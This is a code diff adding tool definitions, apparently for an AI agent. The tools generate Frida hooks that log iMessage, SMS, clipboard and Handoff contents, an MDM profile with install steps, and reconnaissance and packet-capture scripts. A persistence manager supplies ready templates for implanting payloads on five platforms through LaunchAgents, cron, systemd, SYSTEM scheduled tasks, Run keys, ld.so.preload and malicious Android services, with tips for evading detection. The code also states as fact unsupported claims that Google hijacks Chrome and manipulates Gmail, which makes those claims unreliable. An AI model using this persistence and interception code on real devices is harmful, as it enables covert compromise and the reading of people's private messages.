+  rpm -qa | grep -i google 2>/dev/null
+  find /opt -name "*google*" -o -name "*chrome*" 2>/dev/null
+fi
+
+echo ""
+echo "=== Running Google Processes ==="
+ps aux | grep -i google | grep -v grep
+
+echo ""
+echo "=== Google Protocol Handlers ==="
+if [[ "$OSTYPE" == "darwin"* ]]; then
+  /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -A5 -i "google\\|chrome"
+fi
+
+echo ""
+echo "=== Google LaunchAgents/Daemons ==="
+ls -la ~/Library/LaunchAgents/ 2>/dev/null | grep -i google
+ls -la /Library/LaunchDaemons/ 2>/dev/null | grep -i google
+
+echo ""
+echo "=== Google Login Items ==="
+osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null | tr ',' '\\n' | grep -i google`,
+                            },
+                            phase_2_gmail_monitoring: {
+                                name: 'Gmail Manipulation Monitoring',
+                                duration: 'Continuous (7-30 days recommended)',
+                                tasks: [
+                                    'Deploy IMAP sync monitoring',
+                                    'Install Gmail API change tracking',
+                                    'Set up browser draft monitoring',
+                                    'Configure email header analysis',
+                                ],
+                                key_evidence: [
+                                    'Thread hiding events without user action',
+                                    'Draft disappearance/modification',
+                                    'Message delay analysis',
+                                    'Label manipulation logs',
+                                ],
+                            },
+                            phase_3_chrome_monitoring: {
+                                name: 'Chrome Hijacking Monitoring',
+                                duration: 'Continuous (7-30 days recommended)',
+                                tasks: [
+                                    'Deploy process launch monitoring',
+                                    'Set up focus event tracking',
+                                    'Install tab creation monitoring extension',
+                                    'Configure network capture for Chrome traffic',
+                                ],
+                                key_evidence: [
+                                    'Unauthorized browser launches',
+                                    'Tab creation without user action',
+                                    'Focus stealing incidents',
+                                    'Background process activity',
+                                ],
+                            },
+                            phase_4_correlation: {
+                                name: 'Cross-Product Correlation Analysis',
+                                duration: 'After sufficient data collection',
+                                tasks: [
+                                    'Correlate Gmail events with Chrome activity',
+                                    'Identify patterns of coordinated abuse',
+                                    'Timeline reconstruction of incidents',
+                                    'Establish causation chains',
+                                ],
+                                analysis_queries: [
+                                    'Gmail thread hidden → Chrome tab opened (same thread)?',
+                                    'Draft modified → Browser launched?',
+                                    'Email received → Chrome notification → Focus stolen?',
+                                    'Time correlation between Google service events',
+                                ],
+                            },
+                            phase_5_evidence_packaging: {
+                                name: 'Legal Evidence Preparation',
+                                duration: 'Final phase',
+                                tasks: [
+                                    'Compile all evidence with integrity proofs',
+                                    'Generate timeline visualization',
+                                    'Create legal exhibits',
+                                    'Prepare technical declaration',
+                                    'Document chain of custody',
+                                ],
+                                output_files: [
+                                    'evidence_timeline.json - Timestamped events',
+                                    'gmail_manipulation_evidence.json - Gmail-specific',
+                                    'chrome_hijacking_evidence.json - Chrome-specific',
+                                    'correlation_analysis.json - Cross-product patterns',
+                                    'legal_exhibits/ - Court-ready documents',
+                                    'integrity_hashes.txt - SHA-256 of all evidence',
+                                ],
+                            },
+                        },
+                        master_monitoring_script: `#!/bin/bash
+# Google Unified Abuse Investigation - Master Monitor
+# Run this script to start all monitoring components
+
+LOG_DIR="$HOME/google_abuse_investigation/$(date +%Y%m%d_%H%M%S)"
+mkdir -p "$LOG_DIR"
+
+echo "Starting Google Abuse Investigation"
+echo "Evidence directory: $LOG_DIR"
+echo "Start time: $(date -Iseconds)" | tee "$LOG_DIR/investigation_log.txt"
+
+# Phase 1: Reconnaissance
+echo "=== Phase 1: System Reconnaissance ===" | tee -a "$LOG_DIR/investigation_log.txt"
+./phase1_recon.sh > "$LOG_DIR/reconnaissance.txt" 2>&1
+
+# Start continuous monitors in background
+echo "=== Starting Continuous Monitors ===" | tee -a "$LOG_DIR/investigation_log.txt"
+
+# Gmail IMAP monitor (requires credentials setup)
+python3 gmail_imap_monitor.py > "$LOG_DIR/imap_monitor.log" 2>&1 &
+echo "IMAP monitor PID: $!" >> "$LOG_DIR/pids.txt"
+
+# Gmail API monitor (requires OAuth setup)
+python3 gmail_api_monitor.py > "$LOG_DIR/api_monitor.log" 2>&1 &
+echo "API monitor PID: $!" >> "$LOG_DIR/pids.txt"
+
+# Chrome process monitor
+./chrome_process_monitor.sh > "$LOG_DIR/chrome_processes.log" 2>&1 &
+echo "Chrome process monitor PID: $!" >> "$LOG_DIR/pids.txt"
+
+# Focus event monitor
+./focus_monitor.sh > "$LOG_DIR/focus_events.log" 2>&1 &
+echo "Focus monitor PID: $!" >> "$LOG_DIR/pids.txt"
+
+# Network capture (requires root)
+if [[ $EUID -eq 0 ]]; then
+  tcpdump -i any -w "$LOG_DIR/network_capture.pcap" 'host clients.google.com or host mail.google.com' &
+  echo "Network capture PID: $!" >> "$LOG_DIR/pids.txt"
+fi
+
+echo ""
+echo "Investigation started. Monitors running in background."
+echo "Evidence will be collected in: $LOG_DIR"
+echo "To stop: kill \$(cat $LOG_DIR/pids.txt)"
+echo ""
+echo "IMPORTANT: Also install browser extensions for Gmail/Chrome monitoring"
+echo "See investigation docs for browser-side setup."`,
+                        legal_framework: {
+                            applicable_laws: [
+                                'Computer Fraud and Abuse Act (CFAA) - Unauthorized access',
+                                'Electronic Communications Privacy Act (ECPA) - Email interception',
+                                'FTC Act Section 5 - Deceptive practices',
+                                'California UCL - Unlawful business practices',
+                                'CCPA - Privacy violations',
+                                'State computer crime laws',
+                            ],
+                            cause_of_action: [
+                                'Breach of user agreement (selective enforcement)',
+                                'Tortious interference with communications',
+                                'Invasion of privacy',
+                                'Unfair competition',
+                                'Consumer fraud',
+                            ],
+                            regulatory_complaints: [
+                                'FTC Consumer Protection Bureau',
+                                'State Attorney General Consumer Protection',
+                                'FCC (for communication interference)',
+                                'EU DPA (for GDPR violations if applicable)',
+                            ],
+                        },
+                        success_metrics: {
+                            evidence_quality: [
+                                'Reproducible manipulation events',
+                                'Timestamped with integrity proofs',
+                                'Multiple independent evidence sources',
+                                'Clear causation documentation',
+                            ],
+                            documentation_completeness: [
+                                'All phases completed',
+                                'Cross-product correlation established',
+                                'Legal exhibits prepared',
+                                'Chain of custody maintained',
+                            ],
+                        },
+                    };
+                    const fridaScripts = {
+                        imessage_plaintext: `/**
+ * Frida script: iMessage Plaintext Capture
+ * Proves Apple code accesses message content outside encryption boundary
+ */
+
+if (ObjC.available) {
+  console.log('[*] Starting iMessage plaintext interception...');
+
+  // Hook IMMessage text access
+  try {
+    var IMMessage = ObjC.classes.IMMessage;
+    if (IMMessage) {
+      Interceptor.attach(IMMessage['- text'].implementation, {
+        onLeave: function(retval) {
+          if (retval) {
+            var text = new ObjC.Object(retval);
+            console.log('[PLAINTEXT] IMMessage.text: ' + text.toString());
+            console.log('[EVIDENCE] Timestamp: ' + new Date().toISOString());
+            console.log('[EVIDENCE] Stack: ' + Thread.backtrace(this.context, Backtracer.ACCURATE).map(DebugSymbol.fromAddress).join('\\n'));
+          }
+        }
+      });
+      console.log('[+] Hooked IMMessage.text');
+    }
+  } catch (e) {
+    console.log('[-] IMMessage error: ' + e);
+  }
+
+  // Hook SMSMessage for SMS fallback
+  try {
+    var SMSMessage = ObjC.classes.SMSMessage;
+    if (SMSMessage) {
+      Interceptor.attach(SMSMessage['- text'].implementation, {
+        onLeave: function(retval) {
+          if (retval) {
+            var text = new ObjC.Object(retval);
+            console.log('[PLAINTEXT] SMSMessage.text: ' + text.toString());
+            console.log('[EVIDENCE] Timestamp: ' + new Date().toISOString());
+          }
+        }
+      });
+      console.log('[+] Hooked SMSMessage.text');
+    }
+  } catch (e) {}
+
+  // Hook notification content
+  try {
+    var UNNotificationContent = ObjC.classes.UNNotificationContent;
+    if (UNNotificationContent) {
+      Interceptor.attach(UNNotificationContent['- body'].implementation, {
+        onLeave: function(retval) {
+          if (retval) {
+            var body = new ObjC.Object(retval);
+            console.log('[NOTIFICATION] Content: ' + body.toString());
+            console.log('[EVIDENCE] Timestamp: ' + new Date().toISOString());
+          }
+        }
+      });
+      console.log('[+] Hooked UNNotificationContent');
+    }
+  } catch (e) {}
+
+  // Hook Siri suggestion access
+  try {
+    var INMessage = ObjC.classes.INMessage;
+    if (INMessage) {
+      Interceptor.attach(INMessage['- content'].implementation, {
+        onLeave: function(retval) {
+          if (retval) {
+            var content = new ObjC.Object(retval);
+            console.log('[SIRI] INMessage content accessed: ' + content.toString().substring(0, 100));
+            console.log('[EVIDENCE] Proves Siri reads message plaintext');
+          }
+        }
+      });
+      console.log('[+] Hooked INMessage (Siri integration)');
+    }
+  } catch (e) {}
+
+  console.log('[*] Hooks installed. Send/receive messages to capture plaintext.');
+}`,
+                        mdm_monitoring: `/**
+ * Frida script: MDM Activity Monitoring
+ * Proves server-triggered local code execution
+ */
+
+if (ObjC.available) {
+  console.log('[*] Monitoring MDM activities...');
+
+  // Hook profile installation
+  try {
+    var MCProfileConnection = ObjC.classes.MCProfileConnection;
+    if (MCProfileConnection) {
+      var methods = MCProfileConnection.$ownMethods;
+      methods.forEach(function(method) {
+        if (method.includes('install') || method.includes('remove') || method.includes('profile')) {
+          try {
+            Interceptor.attach(MCProfileConnection[method].implementation, {
+              onEnter: function(args) {
+                console.log('[MDM] Method called: ' + method);
+                console.log('[EVIDENCE] Timestamp: ' + new Date().toISOString());
+              }
+            });
+          } catch (e) {}
+        }
+      });
+      console.log('[+] Hooked MCProfileConnection');
+    }
+  } catch (e) {
+    console.log('[-] MCProfileConnection error: ' + e);
+  }
+
+  // Hook APNs push handling (server-triggered)
+  try {
+    var APSConnection = ObjC.classes.APSConnection;
+    if (APSConnection) {
+      Interceptor.attach(APSConnection['- _handleIncomingMessage:'].implementation, {
+        onEnter: function(args) {
+          var message = new ObjC.Object(args[2]);
+          console.log('[APNs] Incoming push: ' + message.toString());
+          console.log('[EVIDENCE] Server-triggered local execution');
+        }
+      });
+      console.log('[+] Hooked APSConnection');
+    }
+  } catch (e) {}
+
+  // Hook managed app configuration
+  try {
+    var NSUserDefaults = ObjC.classes.NSUserDefaults;
+    Interceptor.attach(NSUserDefaults['- objectForKey:'].implementation, {
+      onEnter: function(args) {
+        var key = new ObjC.Object(args[2]).toString();
+        if (key.includes('managed') || key.includes('MDM') || key.includes('com.apple.configuration')) {
+          console.log('[MDM CONFIG] Key accessed: ' + key);
+        }
+      }
+    });
+  } catch (e) {}
+
+  console.log('[*] MDM monitoring active.');
+}`,
+                        clipboard_monitoring: `/**
+ * Frida script: Universal Clipboard Monitoring
+ * Proves plaintext exposure via clipboard
+ */
+
+if (ObjC.available) {
+  console.log('[*] Monitoring clipboard activities...');
+
+  var UIPasteboard = ObjC.classes.UIPasteboard;
+
+  // Monitor all pasteboard access
+  Interceptor.attach(UIPasteboard['+ generalPasteboard'].implementation, {
+    onLeave: function(retval) {
+      var caller = ObjC.classes.NSThread.callStackSymbols().toString();
+      console.log('[CLIPBOARD] generalPasteboard accessed');
+      console.log('[CALLER] ' + caller.substring(0, 500));
+      console.log('[EVIDENCE] Timestamp: ' + new Date().toISOString());
+    }
+  });
+
+  // Monitor reads
+  Interceptor.attach(UIPasteboard['- string'].implementation, {
+    onLeave: function(retval) {
+      if (retval) {
+        var content = new ObjC.Object(retval).toString();
+        console.log('[CLIPBOARD READ] Length: ' + content.length);
+        console.log('[CLIPBOARD READ] Content: ' + content.substring(0, 100));
+        console.log('[EVIDENCE] Plaintext accessible via UIPasteboard');
+      }
+    }
+  });
+
+  // Monitor Handoff/Continuity
+  try {
+    var NSUserActivity = ObjC.classes.NSUserActivity;
+    if (NSUserActivity) {
+      Interceptor.attach(NSUserActivity['- becomeCurrent'].implementation, {
+        onEnter: function(args) {
+          var activity = new ObjC.Object(args[0]);
+          console.log('[HANDOFF] Activity: ' + activity.activityType());
+          if (activity.userInfo()) {
+            console.log('[HANDOFF] UserInfo: ' + activity.userInfo().toString().substring(0, 200));
+          }
+          console.log('[EVIDENCE] Continuity data flow detected');
+        }
+      });
+      console.log('[+] Hooked NSUserActivity (Handoff)');
+    }
+  } catch (e) {}
+
+  console.log('[*] Clipboard monitoring active.');
+}`,
+                    };
+                    const mdmProfile = `<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<!--
+  MDM Research Profile - PQ3 Investigation
+
+  Purpose: Demonstrate server-controlled local policy enforcement
+  contradicting Apple's "end-to-end encryption" claims.
+
+  WARNING: For authorized security research only.
+-->
+<dict>
+    <key>PayloadContent</key>
+    <array>
+        <!-- Managed Pasteboard - proves server controls clipboard -->
+        <dict>
+            <key>PayloadType</key>
+            <string>com.apple.applicationaccess</string>
+            <key>PayloadVersion</key>
+            <integer>1</integer>
+            <key>PayloadIdentifier</key>
+            <string>com.research.pasteboard</string>
+            <key>PayloadUUID</key>
+            <string>E7B1C8A9-2D3F-4E5A-B6C7-8D9E0F1A2B3C</string>
+            <key>PayloadDisplayName</key>
+            <string>Managed Pasteboard Research</string>
+
+            <key>allowOpenFromManagedToUnmanaged</key>
+            <false/>
+            <key>allowOpenFromUnmanagedToManaged</key>
+            <false/>
+            <key>forceAirDropUnmanaged</key>
+            <true/>
+        </dict>
+
+        <!-- Restrictions - proves server controls device behavior -->
+        <dict>
+            <key>PayloadType</key>
+            <string>com.apple.applicationaccess</string>
+            <key>PayloadVersion</key>
+            <integer>1</integer>
+            <key>PayloadIdentifier</key>
+            <string>com.research.restrictions</string>
+            <key>PayloadUUID</key>
+            <string>A1B2C3D4-E5F6-7890-ABCD-EF1234567890</string>
+
+            <key>allowScreenShot</key>
+            <false/>
+            <key>allowCloudDocumentSync</key>
+            <false/>
+        </dict>
+    </array>
+
+    <key>PayloadDisplayName</key>
+    <string>PQ3 Research Profile</string>
+    <key>PayloadIdentifier</key>
+    <string>com.research.pq3-investigation</string>
+    <key>PayloadOrganization</key>
+    <string>Security Research</string>
+    <key>PayloadType</key>
+    <string>Configuration</string>
+    <key>PayloadUUID</key>
+    <string>12345678-1234-1234-1234-123456789012</string>
+    <key>PayloadVersion</key>
+    <integer>1</integer>
+</dict>
+</plist>`;
+                    let result;
+                    switch (action) {
+                        case 'apple_pq3_analysis':
+                            result = applePQ3Analysis;
+                            break;
+                        case 'apple_mdm_investigation':
+                            result = appleMdmInvestigation;
+                            break;
+                        case 'apple_clipboard_exposure':
+                            result = appleClipboardExposure;
+                            break;
+                        case 'apple_backup_keys':
+                            result = {
+                                investigation: 'iCloud Backup Key Analysis',
+                                methodology: [
+                                    '1. Create encrypted local backup with idevicebackup2',
+                                    '2. Analyze backup structure for key material',
+                                    '3. Compare with iCloud backup (Apple-accessible)',
+                                    '4. Document key escrow mechanisms',
+                                ],
+                                key_locations: [
+                                    'Manifest.plist - Backup encryption metadata',
+                                    'KeyBag - Device protection keys',
+                                    'Keychain backup - Contains iMessage keys',
+                                ],
+                                apple_access: {
+                                    local_backup: 'User-controlled encryption key',
+                                    icloud_backup: 'Apple holds encryption capability',
+                                    law_enforcement: 'Apple can comply with warrants for iCloud backups',
+                                },
+                                proof: 'Law enforcement requests return iCloud backup data, proving Apple access',
+                            };
+                            break;
+                        case 'apple_siri_plaintext':
+                            result = {
+                                investigation: 'Siri Message Content Access',
+                                proof_points: [
+                                    'Siri Suggestions read message content for QuickType',
+                                    'INMessage class provides message content to Intents framework',
+                                    'SuggestionKit analyzes messages for app suggestions',
+                                    'Spotlight indexes message content locally',
+                                ],
+                                frida_verification: fridaScripts.imessage_plaintext,
+                                api_references: [
+                                    'INMessage - Siri message integration',
+                                    'SuggestionKit.framework',
+                                    'CoreSpotlight - Message indexing',
+                                ],
+                            };
+                            break;
+                        case 'google_gmail_scanning':
+                            result = googleGmailScanning;
+                            break;
+                        case 'google_gmail_thread_manipulation':
+                            result = googleGmailThreadManipulation;
+                            break;
+                        case 'google_gmail_draft_abuse':
+                            result = googleGmailDraftAbuse;
+                            break;
+                        case 'google_chrome_telemetry':
+                            result = googleChromeTelemetry;
+                            break;
+                        case 'google_chrome_hijacking':
+                            result = googleChromeHijacking;
+                            break;
+                        case 'google_browser_launch_abuse':
+                            result = {
+                                ...googleChromeHijacking,
+                                focus: 'Browser Launch Abuse Investigation',
+                                quick_start: {
+                                    macos: [
+                                        '1. Open Activity Monitor, filter for "Google" or "Chrome"',
+                                        '2. Run: ps aux | grep -i chrome > chrome_baseline.txt',
+                                        '3. Monitor: log stream --predicate \'processImagePath contains "Chrome"\'',
+                                        '4. Check login items: osascript -e \'tell app "System Events" to get login items\'',
+                                    ],
+                                    windows: [
+                                        '1. Open Task Manager, look for Chrome processes',
+                                        '2. Run: Get-Process | Where-Object {$_.Name -like "*chrome*"}',
+                                        '3. Check startup: Get-CimInstance Win32_StartupCommand',
+                                        '4. Check scheduled tasks: Get-ScheduledTask | Where-Object {$_.TaskName -like "*Google*"}',
+                                    ],
+                                    browser_console: [
+                                        'Monitor tab creation in background page:',
+                                        'chrome.tabs.onCreated.addListener((t) => console.log("Tab created:", t))',
+                                    ],
+                                },
+                                evidence_to_collect: [
+                                    'Process launch timestamps without user action',
+                                    'Parent process of Chrome (should be user shell, not system)',
+                                    'Protocol handler registrations',
+                                    'Background mode status',
+                                    'Screenshots of unexpected browser appearances',
+                                ],
+                            };
+                            break;
+                        case 'google_android_tracking':
+                            result = googleAndroidTracking;
+                            break;
+                        case 'google_unified_abuse_investigation':
+                            result = googleUnifiedAbuseInvestigation;
+                            break;
+                        case 'google_play_services':
+                            result = {
+                                investigation: 'Google Play Services Data Collection',
+                                gms_components: {
+                                    core: 'com.google.android.gms - Main GMS package',
+                                    location: 'Location services (always-on tracking)',
+                                    ads: 'Advertising ID and targeting',
+                                    auth: 'Account authentication',
+                                    safetynet: 'Device attestation (fingerprinting)',
+                                },
+                                investigation_method: [
+                                    '1. Root device or use custom ROM',
+                                    '2. Install network monitoring (PCAPdroid)',
+                                    '3. Monitor traffic to Google endpoints',
+                                    '4. Use Frida to hook GMS APIs',
+                                    '5. Document data sent without explicit permission',
+                                ],
+                                endpoints: [
+                                    'android.clients.google.com - Device checkin',
+                                    'play.googleapis.com - Play Store services',
+                                    'android.googleapis.com - Various Google APIs',
+                                    'www.googleapis.com - General API endpoint',
+                                ],
+                            };
+                            break;
+                        case 'generate_frida_scripts':
+                            result = {
+                                scripts: fridaScripts,
+                                usage: {
+                                    imessage: 'frida -U -l imessage_plaintext.js -f com.apple.MobileSMS',
+                                    mdm: 'frida -U -l mdm_monitoring.js -f com.apple.Preferences',
+                                    clipboard: 'frida -U -l clipboard_monitoring.js -f com.apple.springboard',
+                                },
+                                requirements: [
+                                    'Jailbroken iOS device (checkra1n/Dopamine)',
+                                    'Frida installed: pip install frida-tools',
+                                    'frida-server on device',
+                                ],
+                            };
+                            break;
+                        case 'generate_mdm_profile':
+                            result = {
+                                profile: mdmProfile,
+                                installation: [
+                                    '1. Save as .mobileconfig file',
+                                    '2. Host on HTTPS server or use Apple Configurator',
+                                    '3. Install via Safari or MDM enrollment',
+                                    '4. Observe policy enforcement on clipboard operations',
+                                ],
+                                evidence_collection: [
+                                    'Screenshot of policy enforcement',
+                                    'Network capture of MDM commands',
+                                    'Log of policy application timestamp',
+                                ],
+                            };
+                            break;
+                        case 'generate_legal_exhibit':
+                            result = {
+                                exhibit_template: {
+                                    title: 'Evidence of Deceptive End-to-End Encryption Claims',
+                                    plaintiff: '[Your Name]',
+                                    defendant: '[Apple Inc. / Google LLC]',
+                                    sections: [
+                                        '1. Executive Summary',
+                                        '2. Marketing Claims (with URLs and archives)',
+                                        '3. Technical Reality (with evidence)',
+                                        '4. Contradiction Analysis',
+                                        '5. Legal Basis for Action',
+                                        '6. Evidence Exhibits',
+                                        '7. Chain of Custody Documentation',
+                                        '8. Cryptographic Integrity Proofs',
+                                    ],
+                                    legal_theories: [
+                                        'FTC Act Section 5 - Deceptive trade practices',
+                                        'Lanham Act - False advertising',
+                                        'State UCL - Unlawful business practices',
+                                        'CCPA - Transparency violations',
+                                        'Breach of implied contract',
+                                    ],
+                                },
+                            };
+                            break;
+                        case 'full_apple_report':
+                            result = {
+                                report_title: 'Apple PQ3/iMessage False E2E Encryption Claims - Investigation Report',
+                                executive_summary: 'Apple\'s claim of "end-to-end encryption" for iMessage is technically deceptive. While the protocol encrypts messages in transit, Apple-controlled code has full access to plaintext before encryption and after decryption, MDM can enforce server-controlled policies on message handling, and iCloud backups provide Apple access to message keys.',
+                                sections: {
+                                    pq3_analysis: applePQ3Analysis,
+                                    mdm_investigation: appleMdmInvestigation,
+                                    clipboard_exposure: appleClipboardExposure,
+                                    frida_scripts: fridaScripts,
+                                    mdm_profile: mdmProfile,
+                                },
+                                recommendations: [
+                                    'File FTC complaint with collected evidence',
+                                    'Submit California AG consumer protection complaint',
+                                    'Consider class action for deceptive advertising',
+                                    'Document all evidence with integrity proofs',
+                                ],
+                            };
+                            break;
+                        case 'full_google_report':
+                            result = {
+                                report_title: 'Google Privacy Violations and Abuse - Comprehensive Investigation Report',
+                                executive_summary: 'Google\'s privacy practices contradict their public claims. Gmail manipulates threads and drafts without user consent, Chrome launches and takes control of browsers without authorization, email content is analyzed beyond disclosed purposes, and Android tracking persists despite privacy settings.',
+                                sections: {
+                                    gmail_scanning: googleGmailScanning,
+                                    gmail_thread_manipulation: googleGmailThreadManipulation,
+                                    gmail_draft_abuse: googleGmailDraftAbuse,
+                                    chrome_telemetry: googleChromeTelemetry,
+                                    chrome_hijacking: googleChromeHijacking,
+                                    android_tracking: googleAndroidTracking,
+                                    unified_investigation: googleUnifiedAbuseInvestigation,
+                                },
+                                recommendations: [
+                                    'File FTC complaint documenting undisclosed data collection',
+                                    'Submit ECPA complaint for email scanning and manipulation',
+                                    'Document ad targeting correlation with email content',
+                                    'Test location tracking with all settings disabled',
+                                    'Deploy unified monitoring to capture coordinated abuse',
+                                    'Document browser hijacking with process monitoring',
+                                    'Collect IMAP/API logs for Gmail manipulation evidence',
+                                ],
+                                quick_start_investigation: {
+                                    step_1: 'Run google_unified_abuse_investigation action for complete framework',
+                                    step_2: 'Deploy IMAP monitor for Gmail thread/draft manipulation',
+                                    step_3: 'Set up Chrome process monitoring',
+                                    step_4: 'Install browser console scripts for real-time detection',
+                                    step_5: 'Collect evidence for 7-30 days',
+                                    step_6: 'Correlate events and prepare legal exhibits',
+                                },
+                            };
+                            break;
+                        default:
+                            result = { error: 'Unknown action', available_actions: [
+                                    'apple_pq3_analysis', 'apple_mdm_investigation', 'apple_clipboard_exposure',
+                                    'apple_backup_keys', 'apple_siri_plaintext', 'google_gmail_scanning',
+                                    'google_gmail_thread_manipulation', 'google_gmail_draft_abuse',
+                                    'google_chrome_telemetry', 'google_chrome_hijacking', 'google_browser_launch_abuse',
+                                    'google_android_tracking', 'google_play_services', 'google_unified_abuse_investigation',
+                                    'generate_frida_scripts', 'generate_mdm_profile', 'generate_legal_exhibit',
+                                    'full_apple_report', 'full_google_report',
+                                ] };
+                    }
+                    if (outputFormat === 'markdown') {
+                        return '```json\n' + JSON.stringify(result, null, 2) + '\n```';
+                    }
+                    return JSON.stringify(result, null, 2);
+                },
+            },
+            // ═══════════════════════════════════════════════════════════════════════
+            // PERSISTENCE & CAPABILITY EXPANSION
+            // ═══════════════════════════════════════════════════════════════════════
+            {
+                name: 'PersistenceManager',
+                description: `Establish and maintain persistent access across reboots and updates.
+
+Covers macOS, Linux, Windows, iOS, Android persistence mechanisms.
+For authorized red team exercises and security research.`,
+                parameters: {
+                    type: 'object',
+                    required: ['platform', 'method'],
+                    properties: {
+                        platform: {
+                            type: 'string',
+                            enum: ['macos', 'linux', 'windows', 'ios', 'android'],
+                        },
+                        method: {
+                            type: 'string',
+                            enum: [
+                                'launch_agent', 'launch_daemon', 'login_item', 'cron', 'systemd',
+                                'rc_local', 'profile', 'bashrc', 'scheduled_task', 'registry',
+                                'startup_folder', 'wmi', 'dylib_hijack', 'ld_preload', 'dll_hijack',
+                                'boot_script', 'kernel_extension', 'plist_modification',
+                            ],
+                        },
+                        payload: { type: 'string', description: 'Payload to persist (path or inline)' },
+                        name: { type: 'string', description: 'Name for the persistence mechanism' },
+                        stealth: { type: 'boolean', default: true, description: 'Use stealth techniques' },
+                    },
+                },
+                handler: async (args) => {
+                    const platform = args['platform'];
+                    const method = args['method'];
+                    const name = args['name'] || 'com.research.persistence';
+                    const stealth = args['stealth'] !== false;
+                    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+                    const persistence = {
+                        macos: {
+                            launch_agent: {
+                                path: `~/Library/LaunchAgents/${name}.plist`,
+                                template: `<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+    <key>Label</key>
+    <string>${name}</string>
+    <key>ProgramArguments</key>
+    <array>
+        <string>/bin/bash</string>
+        <string>-c</string>
+        <string>PAYLOAD_HERE</string>
+    </array>
+    <key>RunAtLoad</key>
+    <true/>
+    <key>KeepAlive</key>
+    <true/>
+</dict>
+</plist>`,
+                                install: `launchctl load ~/Library/LaunchAgents/${name}.plist`,
+                                detection: 'Check ~/Library/LaunchAgents and launchctl list',
+                                stealth_tips: [
+                                    'Use Apple-like naming (com.apple.xxx)',
+                                    'Set StartInterval instead of KeepAlive',
+                                    'Avoid common malware naming patterns',
+                                ],
+                            },
+                            launch_daemon: {
+                                path: `/Library/LaunchDaemons/${name}.plist`,
+                                requires: 'root privileges',
+                                note: 'Runs as root, persists across all users',
+                                install: `sudo launchctl load /Library/LaunchDaemons/${name}.plist`,
+                            },
+                            login_item: {
+                                method: 'osascript',
+                                command: `osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/app", hidden:true}'`,
+                                note: 'Visible in System Preferences > Users > Login Items',
+                            },
+                            dylib_hijack: {
+                                technique: 'DYLD_INSERT_LIBRARIES or weak dylib',
+                                locations: [
+                                    '@rpath dylib hijacking',
+                                    'Weak dylib injection',
+                                    'LC_LOAD_DYLIB modification',
+                                ],
+                                detection: 'otool -L, codesign verification',
+                            },
+                            kernel_extension: {
+                                path: '/Library/Extensions/',
+                                requires: 'SIP disabled, notarization, or MDM approval',
+                                note: 'Most powerful but most restricted on modern macOS',
+                            },
+                        },
+                        linux: {
+                            cron: {
+                                install: 'crontab -e or echo "* * * * * PAYLOAD" | crontab -',
+                                detection: 'crontab -l, /var/spool/cron/',
+                                stealth: 'Use @reboot instead of frequent intervals',
+                            },
+                            systemd: {
+                                path_user: '~/.config/systemd/user/',
+                                path_system: '/etc/systemd/system/',
+                                template: `[Unit]
+Description=${name}
+
+[Service]
+ExecStart=PAYLOAD
+Restart=always
+
+[Install]
+WantedBy=default.target`,
+                                install: 'systemctl --user enable ' + name,
+                            },
+                            rc_local: {
+                                path: '/etc/rc.local',
+                                note: 'Legacy but still works on many systems',
+                            },
+                            profile: {
+                                paths: [
+                                    '/etc/profile',
+                                    '/etc/profile.d/*.sh',
+                                    '~/.profile',
+                                    '~/.bash_profile',
+                                ],
+                                technique: 'Append payload execution',
+                            },
+                            ld_preload: {
+                                path: '/etc/ld.so.preload',
+                                technique: 'Preload malicious shared library',
+                                detection: 'Check LD_PRELOAD env and /etc/ld.so.preload',
+                            },
+                        },
+                        windows: {
+                            scheduled_task: {
+                                command: `schtasks /create /tn "${name}" /tr "PAYLOAD" /sc onlogon /ru SYSTEM`,
+                                detection: 'schtasks /query, Task Scheduler GUI',
+                            },
+                            registry: {
+                                keys: [
+                                    'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
+                                    'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
+                                    'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce',
+                                ],
+                                command: `reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v ${name} /t REG_SZ /d "PAYLOAD"`,
+                            },
+                            startup_folder: {
+                                path: '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup',
+                                technique: 'Drop .lnk or .bat file',
+                            },
+                            wmi: {
+                                technique: 'WMI Event Subscription',
+                                components: ['__EventFilter', '__EventConsumer', '__FilterToConsumerBinding'],
+                                detection: 'Get-WMIObject -Namespace root/subscription -Class __EventFilter',
+                            },
+                            dll_hijack: {
+                                technique: 'Place DLL in application search path',
+                                common_targets: [
+                                    'Missing DLLs in system applications',
+                                    'Side-loading via legitimate apps',
+                                ],
+                            },
+                        },
+                        ios: {
+                            note: 'Requires jailbreak for most persistence',
+                            methods: {
+                                launch_daemon: {
+                                    path: '/Library/LaunchDaemons/',
+                                    requires: 'Jailbreak with root filesystem write',
+                                },
+                                cydia_substrate: {
+                                    path: '/Library/MobileSubstrate/DynamicLibraries/',
+                                    technique: 'Tweak that loads into processes',
+                                },
+                                xpc_service: {
+                                    technique: 'Malicious XPC service',
+                                },
+                            },
+                        },
+                        android: {
+                            methods: {
+                                boot_completed: {
+                                    technique: 'BroadcastReceiver for BOOT_COMPLETED',
+                                    manifest: '<receiver android:name=".BootReceiver"><intent-filter><action android:name="android.intent.action.BOOT_COMPLETED"/></intent-filter></receiver>',
+                                },
+                                accessibility_service: {
+                                    technique: 'Malicious accessibility service (very powerful)',
+                                    permissions: 'Requires user to enable in Settings',
+                                },
+                                device_admin: {
+                                    technique: 'Device Administrator with prevent-uninstall',
+                                },
+                                system_app: {
+                                    technique: 'Install to /system/app/ (requires root)',
+                                },
+                            },
+                        },
+                    };
+                    const platformData = persistence[platform];
+                    if (!platformData) {
+                        return JSON.stringify({ error: 'Unknown platform', available: Object.keys(persistence) });
+                    }
+                    const methodData = platformData[method] || platformData['methods']?.[method];
+                    if (!methodData) {
+                        return JSON.stringify({
+                            error: 'Unknown method for platform',
+                            platform,
